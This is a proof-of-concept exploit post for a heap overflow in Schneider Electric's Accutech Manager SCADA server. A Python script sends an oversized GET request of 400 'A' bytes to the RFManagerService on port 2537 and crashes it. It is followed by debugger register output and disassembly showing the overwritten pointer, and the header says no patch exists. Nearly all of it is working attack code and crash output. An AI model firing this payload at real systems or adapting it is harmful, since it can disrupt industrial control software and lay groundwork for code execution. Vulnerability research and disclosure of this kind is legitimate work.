Schneider Electric Accutech Manager – Heap Overflow (PoC)
#Schneider Electric #Accutech Manager Server Heap Overflow PoC #RFManagerService - Port: 2537 #I think this is the same vuln that ExodusIntel discovered. Credit also goes to Aaron Portnoy, ExodusIntel. #The patch has not been released yet. #Evren Yalcin, Signalsec Ltd. (www.signalsec.com) #Download app: #http://telemetry.schneider-electric.com/id2/media/downloads/software/scadarange/Accutech%20Manager%201.89.2.zip import socket import sys host = "192.168.163.128" port = 2537 buf = "\x41" * 400 req = ("GET /" + buf + " HTTP/1.1\r\n" "Host: " + host + ":" + str(port) + "\r\n") print " [+] Connecting to %s:%d" % (host, port) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(req) data = s.recv(1024) s.close() #(d40.e8c): Access violation - code c0000005 (!!! second chance !!!) #eax=41414141 ebx=00fd0000 ecx=41414141 edx=0b2999a8 esi=0b2999a0 edi=00000005 #eip=7c91142e esp=0ba3fc28 ebp=0ba3fe48 iopl=0 nv up ei pl zr na pe nc #cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 #7c91142e 8b39 mov edi,dword ptr [ecx] ds:0023:41414141=???????? #----snip---- #text:0040DE91 push offset aReceivedReques ; "Received request, parsing...\n" #.text:0040DE96 call nullsub_1 #.text:0040DE9B lea eax, [ebp+cbTransfer] #.text:0040DEA1 push eax ; char * ; GET /AAAAAAAAAAAAAAAAAAAAAAAAA #.text:0040DEA2 push esi ; int #.text:0040DEA3 call sub_40E006 #.text:0040DEA8 add esp, 0Ch #----snip--- #call sub_40E006 function copies GET data to staticaly sized heap buffer. |